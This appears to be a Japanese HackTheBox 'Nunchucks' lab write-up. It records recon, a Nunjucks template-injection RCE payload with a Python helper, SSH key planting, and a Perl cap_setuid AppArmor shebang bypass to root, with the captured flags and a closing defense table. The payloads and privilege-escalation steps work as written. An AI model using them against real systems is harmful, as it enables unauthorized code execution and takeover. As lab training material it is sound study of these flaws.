HackTheBox: Nunchucks — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 443/https
→
22/ssh, 80/http, 443/https
SSL証明書/wfuzz
store.nunchucks.htb発見
→
store.nunchucks.htb発見
ニュースレター登録フォーム
email値がテンプレートへ反映
→
email値がテンプレートへ反映
Nunjucks SSTI
{{7*7}}→49で確認
→
{{7*7}}→49で確認
range.constructor RCE
execSync()で任意コマンド
→
execSync()で任意コマンド
SSH公開鍵注入
→
david → user.txt ✓
→
Perl cap_setuid
/opt/backup.pl
→
/opt/backup.pl
AppArmor shebangバイパス
→
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.252 nmap -sV -sC -p 22,80,443 10.129.95.252
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to https://nunchucks.htb/ 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) | ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates | Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb Service Info: OS: Linux
ℹ️
ポート80はSSL証明書のCNにある
nunchucks.htbへリダイレクトする。
これを/etc/hostsへ登録する。
BASH
echo "10.129.95.252 nunchucks.htb" | sudo tee -a /etc/hosts
vhostファジングで隠しサブドメインを発見
BASH
wfuzz -H "Host: FUZZ.nunchucks.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ --hh 30587 https://nunchucks.htb
RESULT
ID Response Lines Word Chars Payload
000000081: 200 101 L 259 W 4028 Ch "store"
🚨
重要発見:
store.nunchucks.htbという隠しvhostを
発見した。本体のnunchucks.htbはトップページとディレクトリ
列挙では目立った収穫が無かったが、こちらが実際の攻撃対象。
BASH
echo "10.129.95.252 nunchucks.htb store.nunchucks.htb" | sudo tee /etc/hosts -a
store.nunchucks.htb の確認
BASH
curl -sk https://store.nunchucks.htb/
RESULT
<title>Nunchucks Store</title> Nunchucks store will be opening soon! Subscribe to our newsletter to get update on our launch. [Your email here...] [Notify Me]
ℹ️
「近日オープン」のニュースレター登録フォームのみ。レスポンス
ヘッダーから
X-Powered-By: Express(Node.js)と判明。
マシン名「Nunchucks」自体がヒントで、ExpressがサポートするJSテンプレート
エンジンの1つにNunjucks(Jinja2/Twig風構文)が存在する。
PHASE 2
Nunjucks SSTI (Server-Side Template Injection) の発見
メール送信エンドポイントの特定
BASH (CSRF cookieを先に取得してから送信)
curl -sk -c cookies.txt https://store.nunchucks.htb/ -o /dev/null
curl -sk -b cookies.txt -c cookies.txt -X POST https://store.nunchucks.htb/api/submit \
-H "Content-Type: application/json" \
-d '{"email":"test@htb.htb"}'
RESULT
{"response":"You will receive updates on the following email address: test@htb.htb."}
ℹ️
CSRF保護は
_csrfCookieを先行GETで取得しておくだけで
通過できる(ヘッダー/ボディへの別トークン再送は不要)。
SSTIペイロードで動作確認
BASH
curl -sk -b cookies.txt -c cookies.txt -X POST https://store.nunchucks.htb/api/submit \
-H "Content-Type: application/json" \
-d '{"email":"0xdf{{7*7}}@htb.htb"}'
RESULT (本検証の実際の出力)
{"response":"You will receive updates on the following email address: 0xdf49@htb.htb."}
✅
SSTI確認!
{{7*7}}が49に評価されて
反映された——メール欄の値がサニタイズされずNunjucksテンプレートへ
そのまま渡され、{{ }}構文が評価されてしまっている。
PHASE 3
range.constructor ガジェットによるRCE & user.txt取得
RCEペイロードの構築
NOTE
NunjucksはJinja2/Twig風の構文だが、内部的にはJavaScriptオブジェクトを
扱っているため、組み込みの"range"オブジェクトのコンストラクタに
任意の関数本体文字列を渡して呼び出すガジェットが存在する。
Node.jsのグローバル空間からchild_processモジュールを辿り、execSync()で
任意のシェルコマンドを実行できる:
{{range.constructor("return global.process.mainModule.require"
+ "('child_process').execSync('<コマンド>')")()}}
生のcurl/bashでこのペイロードを組み立てるとクォートの階層が複雑で
事故りやすいため、PythonのrequestsライブラリでJSONボディとして
安全に構築するのが確実。
PYTHON (本検証で実際に使用したRCEヘルパー)
import requests
requests.packages.urllib3.disable_warnings()
def rce(cmd):
s = requests.Session()
s.get("https://store.nunchucks.htb/", verify=False)
payload = (
'0xdf{{range.constructor("return global.process.mainModule'
".require('child_process').execSync('" + cmd + "')\")()}}@htb.htb"
)
r = s.post("https://store.nunchucks.htb/api/submit",
json={"email": payload}, verify=False)
return r.text
print(rce("id"))
RESULT (本検証の実際の出力)
{"response":"You will receive updates on the following email address: 0xdfuid=1000(david) gid=1000(david) groups=1000(david)
@htb.htb."}
✅
RCE成功!
davidユーザーとしてコマンドが実行でき、
出力結果がレスポンスのメールアドレス文字列中に挿入される形で返る。
SSH公開鍵の注入
BASH (Kali側で鍵ペア生成)
ssh-keygen -t ed25519 -f nunchucks_key -N ""
PYTHON (rce()ヘルパーを使い回して鍵を設置)
print(rce("mkdir -p /home/david/.ssh"))
print(rce("echo ssh-ed25519 AAAA...(公開鍵)... root@kali > /home/david/.ssh/authorized_keys"))
print(rce("chmod 600 /home/david/.ssh/authorized_keys"))
print(rce("chmod 700 /home/david/.ssh"))
BASH
ssh -i nunchucks_key david@10.129.95.252 "cat /home/david/user.txt"
RESULT (本検証の実際の出力)
08e18ec6200a5f0a1f236a17a14a73e4
user.txt — david
08e18ec6200a5f0a1f236a17a14a73e4
PHASE 4
Perl setuidバイナリ + AppArmor shebangバイパス — root.txt取得
setuidスクリプトの発見
BASH (SSHシェル上で実行)
ls -la /opt/ getcap /usr/bin/perl
RESULT
-rwxr-xr-x 1 root root 838 Sep 1 12:53 /opt/backup.pl
/usr/bin/perl = cap_setuid+ep
🚨
重要発見:
/opt/backup.plはWebディレクトリを
/opt/web_backupsへバックアップするスクリプトで、
POSIX::setuid(0)を呼んでroot権限で動作する設計。
/usr/bin/perl自体にcap_setuidケーパビリティが
付与されているため、このスクリプトはSUIDバイナリ無しでroot昇格できる
仕組みになっている。ただし素朴にGTFOBins記載のワンライナー
(perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";')
を試してもなぜかroot化しない——AppArmorが
/usr/bin/perlの動作を制限しているため。
AppArmorプロファイルの確認とバイパス方法
BASH
cat /etc/apparmor.d/usr.bin.perl
RESULT (抜粋)
/usr/bin/perl {
capability setuid,
deny /root/* rwx,
deny /etc/shadow rwx,
/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,
}
ℹ️
このプロファイルは
/root/*と/etc/shadowへの
アクセスを明示的に拒否し、実行を許可するスクリプトも限定している。
既知の実装上の抜け穴として、AppArmorはPerlが
perl <script>という形式で明示的に呼び出された場合は
プロファイルを適用するが、スクリプト自身のshebang
(#!/usr/bin/perl)経由で直接実行された場合
(./script.pl)にはプロファイルが適用されない
というバグが長年報告されている(AppArmor開発者向けバグレポートに
記載あり)。
shebang実行によるroot化
BASH (悪意あるPerlスクリプトを作成)
cat > /tmp/a.pl <<'EOF' #!/usr/bin/perl use POSIX qw(setuid); POSIX::setuid(0); exec "cat /root/root.txt > /tmp/.r00t; chmod 644 /tmp/.r00t"; EOF chmod +x /tmp/a.pl
BASH (perlコマンド経由ではなく直接実行する点が重要)
/tmp/a.pl cat /tmp/.r00t
RESULT (本検証の実際の出力)
6ba02e8d931b288517d7a51daac1294e
✅
root化成功!
./a.plのようにshebang経由で
直接実行したことでAppArmorプロファイルの制限が一切適用されず、
POSIX::setuid(0)がそのまま通りroot権限で
/root/root.txtを読み取れた。
root.txt — Perl cap_setuid + AppArmor shebangバイパス
6ba02e8d931b288517d7a51daac1294e
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — david
08e18ec6200a5f0a1f236a17a14a73e4
root.txt — Perl cap_setuid + AppArmor shebangバイパス
6ba02e8d931b288517d7a51daac1294e
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Nunjucks SSTI (Server-Side Template Injection) | store.nunchucks.htb /api/submit (emailフィールド) | リモートコード実行 (davidユーザー) | Critical | range.constructorガジェットでNode.jsのchild_process.execSync()を呼び出し任意コマンド実行 |
| cap_setuid権限付き/usr/bin/perl | /opt/backup.pl (POSIX::setuid(0)) | root権限への昇格経路の存在 | High | AppArmorで制限されているが、shebang経由実行でバイパス可能 |
| AppArmorのshebang実行バイパス | /etc/apparmor.d/usr.bin.perl プロファイル | 権限昇格 (root) | Critical | “perl script.pl”形式はプロファイル適用対象だが”./script.pl”(shebang直接実行)には適用されない既知の抜け穴を悪用 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, SSL証明書CN, wfuzz vhost列挙 | 22/ssh, 80/443/http、隠しvhost store.nunchucks.htb |
| 2 | 脆弱性特定 | ニュースレター登録フォーム + {{7*7}}確認 | Nunjucks SSTI確認 |
| 3 | RCE+横移動 | range.constructorガジェット + SSH鍵注入 | user.txt (david) |
| 4 | 権限昇格 | Perl setuid + AppArmor shebangバイパス | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー入力をサニタイズせずNunjucksテンプレートへ直接渡している | ユーザー入力をテンプレート評価対象として扱わない(自動エスケープが有効な出力コンテキストでのみ使用する)。可能であればテンプレートエンジンのサンドボックスモードを有効化する。 |
| 一般ユーザーがcap_setuidケーパビリティ付きのPerlで実行できるroot権限スクリプトに到達できる | setuidスクリプト自体を必要最小限の権限で動作する専用バイナリへ置き換え、Perlインタプリタ全体へのcap_setuid付与は避ける。 |
| AppArmorプロファイルがshebang経由の直接実行を制限できていない | AppArmorプロファイルの制限が確実に効くことを実機で検証する。既知の抜け穴(shebang実行バイパス等)を把握した上で、より強固な制御(SELinux、専用の制限付きシェル等)の併用を検討する。 |

